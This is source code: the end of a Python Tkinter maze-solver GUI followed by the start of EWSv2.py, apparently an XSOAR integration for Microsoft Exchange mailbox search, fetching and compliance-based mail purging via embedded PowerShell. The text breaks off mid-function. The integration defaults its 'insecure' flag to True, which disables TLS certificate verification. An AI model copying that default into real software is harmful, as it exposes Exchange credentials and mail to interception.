self.__matrix.set_cell(x, y, 1) self.__fill_cell(x, y, 'black') def __middleclick(self, event): x = event.x // self.__cell_size y = event.y // self.__cell_size if self.__matrix.get_cell(x, y) == 1: showerror('Error', 'Cannot set start on a barrier.') return # get current start point start = self.__matrix.get_start() if start is not None: # remove previous start point x_prev, y_prev = start rect = self.__rects[(x_prev, y_prev)] self.__canvas.delete(rect) del self.__rects[(x_prev, y_prev)] # set new start point self.__matrix.set_start((x, y)) self.__fill_cell(x, y, 'green') def __rightclick(self, event): x = event.x // self.__cell_size y = event.y // self.__cell_size if self.__matrix.get_cell(x, y) == 1: showerror('Error', 'Cannot set end on a barrier.') return # get previous end point end = self.__matrix.get_end() if end is not None: # remove previous end point x_prev, y_prev = end rect = self.__rects[(x_prev, y_prev)] self.__canvas.delete(rect) del self.__rects[(x_prev, y_prev)] # set new end point self.__matrix.set_end((x, y)) self.__fill_cell(x, y, 'red') def __load(self): filename = askopenfilename(filetypes=[('JSON files', '*.json')]) if filename == '': return with open(filename, 'r') as fp: data = json.load(fp) self.__clear() for i in range(len(data['walls'])): x, y = data['walls'][i] self.__matrix.set_cell(x, y, 1) self.__matrix.set_start(tuple(data['start'])) self.__matrix.set_end(tuple(data['end'])) self.__fill_maze() def __store(self): filename = asksaveasfilename(filetypes=[('JSON files', '*.json')]) if filename == '': return data = {'start': self.__matrix.get_start(), 'end': self.__matrix.get_end(), 'walls': self.__matrix.get_filled_cells()} with open(filename, 'w') as fp: json.dump(data, fp) def __clear(self): # Clear the grid and matrix self.__matrix.clear() self.__matrix.set_start(None) self.__matrix.set_end(None) self.__matrix.found_path = [] for key in self.__rects.keys(): while len(self.__rects[key]) > 0: rect = self.__rects[key].pop() self.__canvas.delete(rect) self.__rects.clear() def __clear_path(self): if len(self.__matrix.found_path) > 0: for x, y in self.__matrix.found_path: rect = self.__rects[(x, y)].pop() self.__canvas.delete(rect) self.__matrix.found_path = [] def __search(self, method): if self.__matrix.get_start() is None: showerror('Error', 'Start point not set. Set with middle mouse button.') elif self.__matrix.get_end() is None: showerror('Error', 'End point not set. Set with right mouse button.') else: self.__clear_path() # setup time out for search thread self.__matrix.stop_flag = False search_thread = Thread(target=method) search_thread.start() # wait for search thread to naturally complete search_thread.join(TIME_OUT) if search_thread.is_alive(): # tell it to exit self.__matrix.stop_flag = True search_thread.join() self.__matrix.found_path = [] showinfo('Info', 'Search timed out.') elif len(self.__matrix.found_path) == 0: showinfo('Info', 'No path was found.') else: for x, y in self.__matrix.found_path: self.__fill_cell(x, y, color='yellow', scaling=0.25) def __client_exit(self): self.master.destroy() def main(): matrix = Matrix(WIDTH, HEIGHT, CELL_SIZE) master = Tk() maze_app = MazeApplication(matrix, master, WIDTH, HEIGHT, CELL_SIZE) maze_app.init_window() maze_app.draw_maze() mainloop() if __name__ == '__main__': main()
EWSv2.py
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * import sys import traceback import json import os import hashlib from datetime import timedelta from cStringIO import StringIO import logging import warnings import subprocess import email from requests.exceptions import ConnectionError from collections import deque from multiprocessing import Process import exchangelib from exchangelib.errors import ErrorItemNotFound, ResponseMessageError, TransportError, RateLimitError, \ ErrorInvalidIdMalformed, \ ErrorFolderNotFound, ErrorMailboxStoreUnavailable, ErrorMailboxMoveInProgress, \ AutoDiscoverFailed, ErrorNameResolutionNoResults, ErrorInvalidPropertyRequest from exchangelib.items import Item, Message, Contact from exchangelib.services import EWSService, EWSAccountService from exchangelib.util import create_element, add_xml_child from exchangelib import IMPERSONATION, DELEGATE, Account, Credentials, \ EWSDateTime, EWSTimeZone, Configuration, NTLM, DIGEST, BASIC, FileAttachment, \ Version, Folder, HTMLBody, Body, Build, ItemAttachment from exchangelib.version import EXCHANGE_2007, EXCHANGE_2010, EXCHANGE_2010_SP2, EXCHANGE_2013, EXCHANGE_2016 from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter # Define utf8 as default encoding reload(sys) sys.setdefaultencoding('utf8') # pylint: disable=E1101 # Ignore warnings print to stdout warnings.filterwarnings("ignore") # Docker BC MNS = None TNS = None if exchangelib.__version__ == "1.12.0": MNS, TNS = exchangelib.util.MNS, exchangelib.util.TNS else: MNS, TNS = exchangelib.transport.MNS, exchangelib.transport.TNS # pylint: disable=E1101 # consts VERSIONS = { '2007': EXCHANGE_2007, '2010': EXCHANGE_2010, '2010_SP2': EXCHANGE_2010_SP2, '2013': EXCHANGE_2013, '2016': EXCHANGE_2016 } ATTACHMENT_ID = "attachmentId" ATTACHMENT_ORIGINAL_ITEM_ID = 'originalItemId' NEW_ITEM_ID = 'newItemId' MESSAGE_ID = "messageId" ITEM_ID = "itemId" ACTION = "action" MAILBOX = "mailbox" MAILBOX_ID = "mailboxId" FOLDER_ID = "id" MOVED_TO_MAILBOX = "movedToMailbox" MOVED_TO_FOLDER = "movedToFolder" FILE_ATTACHMENT_TYPE = 'FileAttachment' ITEM_ATTACHMENT_TYPE = 'ItemAttachment' ATTACHMENT_TYPE = 'attachmentType' TOIS_PATH = '/root/Top of Information Store/' ENTRY_CONTEXT = "EntryContext" CONTEXT_UPDATE_EWS_ITEM = "EWS.Items(val.{0} == obj.{0} || (val.{1} && obj.{1} && val.{1} == obj.{1}))".format(ITEM_ID, MESSAGE_ID) CONTEXT_UPDATE_EWS_ITEM_FOR_ATTACHMENT = "EWS.Items(val.{0} == obj.{1})".format(ITEM_ID, ATTACHMENT_ORIGINAL_ITEM_ID) CONTEXT_UPDATE_ITEM_ATTACHMENT = ".ItemAttachments(val.{0} == obj.{0})".format(ATTACHMENT_ID) CONTEXT_UPDATE_FILE_ATTACHMENT = ".FileAttachments(val.{0} == obj.{0})".format(ATTACHMENT_ID) CONTEXT_UPDATE_FOLDER = "EWS.Folders(val.{0} == obj.{0})".format(FOLDER_ID) LAST_RUN_TIME = "lastRunTime" LAST_RUN_IDS = "ids" LAST_RUN_FOLDER = "folderName" ERROR_COUNTER = "errorCounter" ITEMS_RESULTS_HEADERS = ['sender', 'subject', 'hasAttachments', 'datetimeReceived', 'receivedBy', 'author', 'toRecipients', 'textBody', ] # Load integratoin params from demisto USE_PROXY = demisto.params().get('proxy', False) NON_SECURE = demisto.params().get('insecure', True) AUTH_METHOD_STR = demisto.params().get('authType', '') AUTH_METHOD_STR = AUTH_METHOD_STR.lower() if AUTH_METHOD_STR else '' VERSION_STR = demisto.params().get('defaultServerVersion', None) MANUAL_USERNAME = demisto.params().get('domainAndUserman', '') FOLDER_NAME = demisto.params().get('folder', 'Inbox') IS_PUBLIC_FOLDER = demisto.params().get('isPublicFolder', False) ACCESS_TYPE = IMPERSONATION if demisto.params().get('impersonation', False) else DELEGATE FETCH_ALL_HISTORY = demisto.params().get('fetchAllHistory', False) IS_TEST_MODULE = False BaseProtocol.TIMEOUT = int(demisto.params().get('requestTimeout', 120)) AUTO_DISCOVERY = False SERVER_BUILD = "" MARK_AS_READ = demisto.params().get('markAsRead', False) MAX_FETCH = min(50, int(demisto.params().get('maxFetch', 50))) LAST_RUN_IDS_QUEUE_SIZE = 500 START_COMPLIANCE = """ [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [string]$username, [Parameter(Mandatory=$True)] [string]$query ) $WarningPreference = "silentlyContinue" # Create Credential object $password = Read-Host $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) # Generate a unique search name $searchName = [guid]::NewGuid().ToString() -replace '[-]' $searchName = "DemistoSearch" + $searchName # open remote PS session to Office 365 Security & Compliance Center $session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ` https://ps.compliance.protection.outlook.com/powershell-liveid/ -Credential $UserCredential ` -Authentication Basic -AllowRedirection if (!$session) { "Failed to create remote PS session" return } Import-PSSession $session -CommandName *Compliance* -AllowClobber -DisableNameChecking -Verbose:$false | Out-Null $compliance = New-ComplianceSearch -Name $searchName -ExchangeLocation All -ContentMatchQuery $query -Confirm:$false Start-ComplianceSearch -Identity $searchName $complianceSearchName = "Action status: " + $searchName $complianceSearchName | ConvertTo-Json # Close the session Remove-PSSession $session """ GET_COMPLIANCE = """[CmdletBinding()] Param( [Parameter(Mandatory=$True)] [string]$username, [Parameter(Mandatory=$True)] [string]$searchName ) $WarningPreference = "silentlyContinue" # Create Credential object $password = Read-Host $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) # open remote PS session to Office 365 Security & Compliance Center $session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ` https://ps.compliance.protection.outlook.com/powershell-liveid/ -Credential $UserCredential ` -Authentication Basic -AllowRedirection if (!$session) { "Failed to create remote PS session" return } Import-PSSession $session -CommandName Get-ComplianceSearch -AllowClobber -DisableNameChecking -Verbose:$false | Out-Null $searchStatus = Get-ComplianceSearch $searchName #"Search status: " + $searchStatus.Status $searchStatus.Status if ($searchStatus.Status -eq "Completed") { $searchStatus.SuccessResults | ConvertTo-Json } # Close the session Remove-PSSession $session """ PURGE_COMPLIANCE = """ [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [string]$username, [Parameter(Mandatory=$True)] [string]$searchName ) $WarningPreference = "silentlyContinue" # Create Credential object $password = Read-Host $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) # open remote PS session to Office 365 Security & Compliance Center $session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ` https://ps.compliance.protection.outlook.com/powershell-liveid/ -Credential $UserCredential ` -Authentication Basic -AllowRedirection if (!$session) { "Failed to create remote PS session" return } Import-PSSession $session -CommandName *Compliance* -AllowClobber -DisableNameChecking -Verbose:$false | Out-Null # Delete mails based on an existing search criteria $newActionResult = New-ComplianceSearchAction -SearchName $searchName -Purge -PurgeType SoftDelete -Confirm:$false if (!$newActionResult) { # Happens when there are no results from the search "No action was created" } # Close the session Remove-PSSession $session return """ PURGE_STATUS_COMPLIANCE = """ [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [string]$username, [Parameter(Mandatory=$True)] [string]$searchName ) $WarningPreference = "silentlyContinue" # Create Credential object $password = Read-Host $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) # open remote PS session to Office 365 Security & Compliance Center $session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ` https://ps.compliance.protection.outlook.com/powershell-liveid/ -Credential $UserCredential ` -Authentication Basic -AllowRedirection if (!$session) { "Failed to create remote PS session" return } Import-PSSession $session -CommandName *Compliance* -AllowClobber -DisableNameChecking -Verbose:$false | Out-Null $actionName = $searchName + "_Purge" $actionStatus = Get-ComplianceSearchAction $actionName "" $actionStatus.Status # Close the session Remove-PSSession $session """ REMOVE_COMPLIANCE = """ [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [string]$username, [Parameter(Mandatory=$True)] [string]$searchName ) $WarningPreference = "silentlyContinue" # Create Credential object $password = Read-Host $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) # open remote PS session to Office 365 Security & Compliance Center $session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri ` https://ps.compliance.protection.outlook.com/powershell-liveid/ -Credential $UserCredential ` -Authentication Basic -AllowRedirection if (!$session) { "Failed to create remote PS session" return } Import-PSSession $session -CommandName *Compliance* -AllowClobber -DisableNameChecking -Verbose:$false | Out-Null # Remove the search Remove-ComplianceSearch $searchName -Confirm:$false # Close the session Remove-PSSession $session """ # initialized in main() EWS_SERVER = '' USERNAME = '' ACCOUNT_EMAIL = '' PASSWORD = '' config = None credentials = None PUBLIC_FOLDERS_ERROR = 'Please update your docker image to use public folders' if IS_PUBLIC_FOLDER and exchangelib.__version__ != "1.12.0": if demisto.command() == 'test-module': demisto.results(PUBLIC_FOLDERS_ERROR) exit(3) raise Exception(PUBLIC_FOLDERS_ERROR) # NOTE: Same method used in EWSMailSender # If you are modifying this probably also need to modify in the other file def exchangelib_cleanup(): key_protocols = exchangelib.protocol.CachingProtocol._protocol_cache.items() try: exchangelib.close_connections() except Exception as ex: demisto.error("Error was found in exchangelib cleanup, ignoring: {}".format(ex)) for key, protocol in key_protocols: try: if "thread_pool" in protocol.__dict__: demisto.debug('terminating thread pool key{} id: {}'.format(key, id(protocol.thread_pool))) protocol.thread_pool.terminate() del protocol.__dict__["thread_pool"] else: demisto.info('Thread pool not found (ignoring terminate) in protcol dict: {}'.format(dir(protocol.__dict__))) except Exception as ex: demisto.error("Error with thread_pool.terminate, ignoring: {}".format(ex)) # Prep Functions def get_auth_method(auth_method): auth_method = auth_method.lower() if auth_method == 'ntlm': return NTLM elif auth_method == 'basic': return BASIC elif auth_method == 'digest': return DIGEST raise Exception("%s auth method is not supported. Choose one of %s" % (auth_method, 'ntlm\\basic\\digest')) def get_build(version_str): if version_str not in VERSIONS: raise Exception("%s is unsupported version: %s. Choose one of" % (version_str, "\\".join(VERSIONS.keys()))) return VERSIONS[version_str] def get_build_autodiscover(context_dict): build_params = context_dict["build"].split(".") return Build(*build_params) def get_endpoint_autodiscover(context_dict): return context_dict["service_endpoint"] def get_version(version_str): if version_str not in VERSIONS: raise Exception("%s is unsupported version: %s. Choose one of" % (version_str, "\\".join(VERSIONS.keys()))) return Version(VERSIONS[version_str]) def create_context_dict(account): return { "auth_type": account.protocol.auth_type, "service_endpoint": account.protocol.service_endpoint, "build": str(account.protocol.version.build), "api_version": account.protocol.version.api_version } def prepare_context(credentials): context_dict = demisto.getIntegrationContext() global SERVER_BUILD, EWS_SERVER if not context_dict: try: account = Account( primary_smtp_address=ACCOUNT_EMAIL, autodiscover=True, access_type=ACCESS_TYPE, credentials=credentials, ) EWS_SERVER = account.protocol.service_endpoint if not USE_PROXY: os.environ['NO_PROXY'] = EWS_SERVER SERVER_BUILD = account.protocol.version.build demisto.setIntegrationContext(create_context_dict(account)) except AutoDiscoverFailed: return_error("Auto discovery failed. Check credentials or configure manually") except Exception as e: return_error(e.message) else: SERVER_BUILD = get_build_autodiscover(context_dict) EWS_SERVER = get_endpoint_autodiscover(context_dict) def prepare(): if NON_SECURE: BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter if not USE_PROXY: def remove_from_dict(d, key): if key in d: del d[key] remove_from_dict(os.environ, 'HTTP_PROXY') remove_from_dict(os.environ, 'http_proxy') remove_from_dict(os.environ, 'HTTPS_PROXY') remove_from_dict(os.environ, 'https_proxy') os.environ['NO_PROXY'] = EWS_SERVER or "" global AUTO_DISCOVERY, VERSION_STR, AUTH_METHOD_STR, USERNAME AUTO_DISCOVERY = not EWS_SERVER if AUTO_DISCOVERY: credentials = Credentials(username=USERNAME, password=PASSWORD) prepare_context(credentials) return None, credentials else: if 'outlook.office365.com' in EWS_SERVER.lower(): if not AUTH_METHOD_STR: AUTH_METHOD_STR = 'Basic' VERSION_STR = '2016' else: if MANUAL_USERNAME: USERNAME = MANUAL_USERNAME if not AUTH_METHOD_STR: AUTH_METHOD_STR = 'ntlm' if not VERSION_STR: return_error('Exchange Server Version is required for on-premise Exchange Servers.') version = get_version(VERSION_STR) credentials = Credentials(username=USERNAME, password=PASSWORD) config_args = { 'credentials': credentials, 'auth_type': get_auth_method(AUTH_METHOD_STR), 'version': version } if not EWS_SERVER: return_error("Exchange Server Hostname or IP Address is required for manual configuration.") elif 'http' in EWS_SERVER.lower(): config_args['service_endpoint'] = EWS_SERVER else: config_args['server'] = EWS_SERVER return Configuration(**config_args), None def construct_config_args(context_dict, credentials): auth_type = context_dict["auth_type"] api_version = context_dict["api_version"] service_endpoint = context_dict["service_endpoint"] version = Version(get_build_autodiscover(context_dict), api_version) config_args = { 'credentials': credentials, 'auth_type': auth_type, 'version': version, 'service_endpoint': service_endpoint } return config_args def get_account_autodiscover(account_email, access_type=ACCESS_TYPE): account = None original_exc = None # type: ignore context_dict = demisto.getIntegrationContext() if context_dict: try: config_args = construct_config_args(context_dict, credentials) account = Account( primary_smtp_address=account_email, autodiscover=False, config=Configuration(**config_args), access_type=access_type, ) account.root.effective_rights.read # pylint: disable=E1101 return account except Exception, original_exc: pass try: account = Account( primary_smtp_address=ACCOUNT_EMAIL, autodiscover=True, credentials=credentials, access_type=access_type, ) except AutoDiscoverFailed: return_error("Auto discovery failed. Check credentials or configure manually") autodiscover_result = create_context_dict(account) if autodiscover_result == context_dict: raise original_exc # pylint: disable=E0702 if account_email == ACCOUNT_EMAIL: demisto.setIntegrationContext(create_context_dict(account)) return account def get_account(account_email, access_type=ACCESS_TYPE): if not AUTO_DISCOVERY: return Account( primary_smtp_address=account_email, autodiscover=False, config=config, access_type=access_type, ) return get_account_autodiscover(account_email, access_type) # LOGGING log_stream = None log_handler = None def start_logging(): global log_stream global log_handler logging.raiseExceptions = False if log_stream is None: log_stream = StringIO() log_handler = logging.StreamHandler(stream=log_stream) log_handler.setFormatter(logging.Formatter(logging.BASIC_FORMAT)) logger = logging.getLogger() logger.addHandler(log_handler) logger.setLevel(logging.DEBUG) # Exchange 2010 Fixes def fix_2010(): version = SERVER_BUILD if SERVER_BUILD else get_build(VERSION_STR) if version <= EXCHANGE_2010_SP2: for m in ( Item, Message, exchangelib.items.CalendarItem, exchangelib.items.Contact, exchangelib.items.DistributionList, exchangelib.items.PostItem, exchangelib.items.Task, exchangelib.items.MeetingRequest, exchangelib.items.MeetingResponse, exchangelib.items.MeetingCancellation): for i, f in enumerate(m.FIELDS): if f.name == 'text_body': m.FIELDS.pop(i) break for m in (exchangelib.Folder, exchangelib.folders.Inbox): for i, f in enumerate(m.FIELDS): if f.name == 'unread_count': m.FIELDS.pop(i) break def repr1(self): return self.__class__.__name__ + repr((self.root, self.name, self.total_count, self.child_folder_count, self.folder_class, self.id, self.changekey)) def repr2(self): return self.__class__.__name__ + repr( (self.root, self.name, self.total_count, self.child_folder_count, self.folder_class, self.changekey)) def repr3(self): return self.__class__.__name__ + repr((self.account, '[self]', self.name, self.total_count, self.child_folder_count, self.folder_class, self.changekey)) exchangelib.Folder.__repr__ = repr1 exchangelib.folders.Inbox.__repr__ = exchangelib.folders.JunkEmail.__repr__ = repr2 exchangelib.folders.Root.__repr__ = repr3 start_logging() def str_to_unicode(obj): if isinstance(obj, dict): obj = {k: str_to_unicode(v) for k, v in obj.iteritems()} elif isinstance(obj, list): obj = map(str_to_unicode, obj) elif isinstance(obj, str): obj = unicode(obj, "utf-8") return obj def filter_dict_null(d): if isinstance(d, dict): return dict((k, v) for k, v in d.items() if v is not None) return d def get_attachment_name(attachment_name): if attachment_name is None or attachment_name == "": return 'demisto_untitled_attachment' return attachment_name def get_entry_for_object(title, context_key, obj, headers=None): if len(obj) == 0: return "There is no output results" obj = filter_dict_null(obj) if isinstance(obj, list): obj = map(filter_dict_null, obj) if headers and isinstance(obj, dict): headers = list(set(headers).intersection(set(obj.keys()))) return { 'Type': entryTypes['note'], 'Contents': obj, 'ContentsFormat': formats['json'], 'ReadableContentsFormat': formats['markdown'], 'HumanReadable': tableToMarkdown(title, obj, headers), ENTRY_CONTEXT: { context_key: obj } } def get_items_from_mailbox(account, item_ids): if type(item_ids) is not list: item_ids = [item_ids] items = map(lambda x: Item(item_id=x), item_ids) result = list(account.fetch(ids=items)) result = [x for x in result if not isinstance(x, ErrorItemNotFound)] if len(result) != len(item_ids): raise Exception("One or more items were not found. Check the input item ids") if exchangelib.__version__ != "1.12.0": # Docker BC for item in result: item.folder = Folder(account=account) return result def get_item_from_mailbox(account, item_id): result = get_items_from_mailbox(account, [item_id]) if len(result) == 0: raise Exception("ItemId %s not found" % str(item_id)) return result[0] def is_default_folder(folder_path, is_public): if exchangelib.__version__ != "1.12.0": # Docker BC return False if is_public is not None: return is_public if folder_path == FOLDER_NAME: return IS_PUBLIC_FOLDER return False def get_folder_by_path(account, path, is_public=False): # handle exchange folder id if len(path) == 120: folders_map = account.root._folders_map if path in folders_map: return account.root._folders_map[path] if is_public: folder_result = account.public_folders_root elif path == u'AllItems': folder_result = account.root else: folder_result = account.inbox.parent # Top of Information Store path = path.replace("/", "\\") path = path.split('\\') for sub_folder_name in path: folder_filter_by_name = [x for x in folder_result.children if x.name.lower() == sub_folder_name.lower()] if len(folder_filter_by_name) == 0: raise Exception("No such folder %s" % path) folder_result = folder_filter_by_name[0] return folder_result class MarkAsJunk(EWSAccountService): SERVICE_NAME = 'MarkAsJunk' def call(self, item_id, move_item): elements = list(self._get_elements(payload=self.get_payload(item_id=item_id, move_item=move_item))) for element in elements: if isinstance(element, ResponseMessageError): return element.message return "Success" def get_payload(self, item_id, move_item): junk = create_element('m:%s' % self.SERVICE_NAME, IsJunk="true", MoveItem="true" if move_item else "false") items_list = create_element('m:ItemIds') item_element = create_element("t:ItemId", Id=item_id) items_list.append(item_element) junk.append(items_list) return junk class GetSearchableMailboxes(EWSService): SERVICE_NAME = 'GetSearchableMailboxes' element_container_name = '{%s}SearchableMailboxes' % MNS @staticmethod def parse_element(element): return { MAILBOX: element.find("{%s}PrimarySmtpAddress" % TNS).text if element.find( "{%s}PrimarySmtpAddress" % TNS) is not None else None, MAILBOX_ID: element.find("{%s}ReferenceId" % TNS).text if element.find( "{%s}ReferenceId" % TNS) is not None else None, 'displayName': element.find("{%s}DisplayName" % TNS).text if element.find( "{%s}DisplayName" % TNS) is not None else None, 'isExternal': element.find("{%s}IsExternalMailbox" % TNS).text if element.find( "{%s}IsExternalMailbox" % TNS) is not None else None, 'externalEmailAddress': element.find("{%s}ExternalEmailAddress" % TNS).text if element.find( "{%s}ExternalEmailAddress" % TNS) is not None else None } def call(self): if self.protocol.version.build < EXCHANGE_2013: raise NotImplementedError('%s is only supported for Exchange 2013 servers and later' % self.SERVICE_NAME) elements = self._get_elements(payload=self.get_payload()) return map(lambda x: self.parse_element(x), elements) def get_payload(self): element = create_element( 'm:%s' % self.SERVICE_NAME, ) return element class SearchMailboxes(EWSService): SERVICE_NAME = 'SearchMailboxes' element_container_name = '{%s}SearchMailboxesResult/{%s}Items' % (MNS, TNS) @staticmethod def parse_element(element): to_recipients = element.find('{%s}ToRecipients' % TNS) if to_recipients: to_recipients = map(lambda x: x.text if x is not None else None, to_recipients) result = { ITEM_ID: element.find('{%s}Id' % TNS).attrib['Id'] if element.find('{%s}Id' % TNS) is not None else None, MAILBOX: element.find('{%s}Mailbox/{%s}PrimarySmtpAddress' % (TNS, TNS)).text if element.find( '{%s}Mailbox/{%s}PrimarySmtpAddress' % (TNS, TNS)) is not None else None, 'subject': element.find("{%s}Subject" % TNS).text if element.find( "{%s}Subject" % TNS) is not None else None, 'toRecipients': to_recipients, 'sender': element.find("{%s}Sender" % TNS).text if element.find("{%s}Sender" % TNS) is not None else None, 'hasAttachments': element.find("{%s}HasAttachment" % TNS).text if element.find( "{%s}HasAttachment" % TNS) is not None else None, 'datetimeSent': element.find("{%s}SentTime" % TNS).text if element.find( "{%s}SentTime" % TNS) is not None else None, 'datetimeReceived': element.find("{%s}ReceivedTime" % TNS).text if element.find( "{%s}ReceivedTime" % TNS) is not None else None } return result def call(self, query, mailboxes): if self.protocol.version.build < EXCHANGE_2013: raise NotImplementedError('%s is only supported for Exchange 2013 servers and later' % self.SERVICE_NAME) elements = list(self._get_elements(payload=self.get_payload(query, mailboxes))) return map(lambda x: self.parse_element(x), elements) def get_payload(self, query, mailboxes): def get_mailbox_search_scope(mailbox_id): mailbox_search_scope = create_element("t:MailboxSearchScope") add_xml_child(mailbox_search_scope, "t:Mailbox", mailbox_id) add_xml_child(mailbox_search_scope, "t:SearchScope", "All") return mailbox_search_scope mailbox_query_element = create_element("t:MailboxQuery") add_xml_child(mailbox_query_element, "t:Query", query) mailboxes_scopes = [] for mailbox in mailboxes: mailboxes_scopes.append(get_mailbox_search_scope(mailbox)) add_xml_child(mailbox_query_element, "t:MailboxSearchScopes", mailboxes_scopes) element = create_element('m:%s' % self.SERVICE_NAME) add_xml_child(element, "m:SearchQueries", mailbox_query_element) add_xml_child(element, "m:ResultType", "PreviewOnly") return element class ExpandGroup(EWSService): SERVICE_NAME = 'ExpandDL' element_container_name = '{%s}DLExpansion' % MNS @staticmethod def parse_element(element): return { MAILBOX: element.find("{%s}EmailAddress" % TNS).text if element.find( "{%s}EmailAddress" % TNS) is not None else None, 'displayName': element.find("{%s}Name" % TNS).text if element.find("{%s}Name" % TNS) is not None else None, 'mailboxType': element.find("{%s}MailboxType" % TNS).text if element.find( "{%s}MailboxType" % TNS) is not None else None } def call(self, email_address, recursive_expansion=False): if self.protocol.version.build < EXCHANGE_2010: raise NotImplementedError('%s is only supported for Exchange 2010 servers and later' % self.SERVICE_NAME) try: if recursive_expansion == 'True': group_members = {} # type: dict self.expand_group_recursive(email_address, group_members) return group_members.values() else: return self.expand_group(email_address) except ErrorNameResolutionNoResults: demisto.results("No results were found.") sys.exit() def get_payload(self, email_address): element = create_element('m:%s' % self.SERVICE_NAME, ) mailbox_element = create_element('m:Mailbox') add_xml_child(mailbox_element, 't:EmailAddress', email_address) element.append(mailbox_element) return element def expand_group(self, email_address): elements = self._get_elements(payload=self.get_payload(email_address)) return map(lambda x: self.parse_element(x), elements) def expand_group_recursive(self, email_address, non_dl_emails, dl_emails=set()): if email_address in non_dl_emails or email_address in dl_emails: return None dl_emails.add(email_address) for member in self.expand_group(email_address): if member['mailboxType'] == 'PublicDL' or member['mailboxType'] == 'PrivateDL': self.expand_group_recursive(member['mailbox'], non_dl_emails, dl_emails) else: if member['mailbox'] not in non_dl_emails: non_dl_emails[member['mailbox']] = member def get_expanded_group(protocol, email_address, recursive_expansion=False): group_members = ExpandGroup(protocol=protocol).call(email_address, recursive_expansion) group_details = { "name": email_address, "members": group_members } entry_for_object = get_entry_for_object("Expanded group", 'EWS.ExpandGroup', group_details) entry_for_object['HumanReadable'] = tableToMarkdown('Group Members', group_members) return entry_for_object def get_searchable_mailboxes(protocol): searchable_mailboxes = GetSearchableMailboxes(protocol=protocol).call() return get_entry_for_object("Searchable mailboxes", 'EWS.Mailboxes', searchable_mailboxes) def search_mailboxes(protocol, filter, limit=100, mailbox_search_scope=None, email_addresses=None): mailbox_ids = [] limit = int(limit) if mailbox_search_scope is not None and email_addresses is not None: raise Exception("Use one of the arguments - mailbox-search-scope or email-addresses, not both") if email_addresses: email_addresses = email_addresses.split(",") all_mailboxes = get_searchable_mailboxes(protocol)[ENTRY_CONTEXT]['EWS.Mailboxes'] for email_address in email_addresses: for mailbox in all_mailboxes: if MAILBOX in mailbox and email_address.lower() == mailbox[MAILBOX].lower(): mailbox_ids.append(mailbox[MAILBOX_ID]) if len(mailbox_ids) == 0: raise Exception("No searchable mailboxes were found for the provided email addresses.") elif mailbox_search_scope: mailbox_ids = mailbox_search_scope if type(mailbox_search_scope) is list else [mailbox_search_scope] else: entry = get_searchable_mailboxes(protocol) mailboxes = [x for x in entry[ENTRY_CONTEXT]['EWS.Mailboxes'] if MAILBOX_ID in x.keys()] mailbox_ids = map(lambda x: x[MAILBOX_ID], mailboxes) try: search_results = SearchMailboxes(protocol=protocol).call(filter, mailbox_ids) search_results = search_results[:limit] except TransportError, e: if "ItemCount>0<" in str(e): return "No results for search query: " + filter else: raise e return get_entry_for_object("Search mailboxes results", CONTEXT_UPDATE_EWS_ITEM, search_results) def get_last_run(): last_run = demisto.getLastRun() if not last_run or last_run.get(LAST_RUN_FOLDER) != FOLDER_NAME: last_run = { LAST_RUN_TIME: None, LAST_RUN_FOLDER: FOLDER_NAME, LAST_RUN_IDS: [] } if LAST_RUN_TIME in last_run and last_run[LAST_RUN_TIME] is not None: last_run[LAST_RUN_TIME] = EWSDateTime.from_string(last_run[LAST_RUN_TIME]) # In case we have existing last_run data if last_run.get(LAST_RUN_IDS) is None: last_run[LAST_RUN_IDS] = [] return last_run def fetch_last_emails(account, folder_name='Inbox', since_datetime=None, exclude_ids=None): qs = get_folder_by_path(account, folder_name, is_public=IS_PUBLIC_FOLDER) if since_datetime: qs = qs.filter(datetime_received__gte=since_datetime) else: if not FETCH_ALL_HISTORY: last_10_min = EWSDateTime.now(tz=EWSTimeZone.timezone('UTC')) - timedelta(minutes=10) qs = qs.filter(datetime_received__gte=last_10_min) qs = qs.filter().only(*map(lambda x: x.name, Message.FIELDS)) qs = qs.filter().order_by('datetime_received') result = qs.all() result = [x for x in result if isinstance(x, Message)] if exclude_ids and len(exclude_ids) > 0: exclude_ids = set(exclude_ids) result = [x for x in result if x.message_id not in exclude_ids] return result def keys_to_camel_case(value): def str_to_camel_case(snake_str): components = snake_str.split('_') return components[0] + "".join(x.title() for x in components[1:]) if value is None: return None if isinstance(value, (list, set)): return map(keys_to_camel_case, value) if isinstance(value, dict): return dict((keys_to_camel_case(k), keys_to_camel_case(v) if isinstance(v, (list, dict)) else v) for (k, v) in value.items()) return str_to_camel_case(value) def parse_item_as_dict(item, email_address, camel_case=False, compact_fields=False): def parse_object_as_dict(object): raw_dict = {} if object is not None: for field in object.FIELDS: raw_dict[field.name] = getattr(object, field.name, None) return raw_dict def parse_attachment_as_raw_json(attachment): raw_dict = parse_object_as_dict(attachment) if raw_dict['attachment_id']: raw_dict['attachment_id'] = parse_object_as_dict(raw_dict['attachment_id']) if raw_dict['last_modified_time']: raw_dict['last_modified_time'] = raw_dict['last_modified_time'].ewsformat() return raw_dict def parse_folder_as_json(folder): raw_dict = parse_object_as_dict(folder) if 'parent_folder_id' in raw_dict: raw_dict['parent_folder_id'] = parse_folder_as_json(raw_dict['parent_folder_id']) if 'effective_rights' in raw_dict: raw_dict['effective_rights'] = parse_object_as_dict(raw_dict['effective_rights']) return raw_dict raw_dict = {} for field, value in 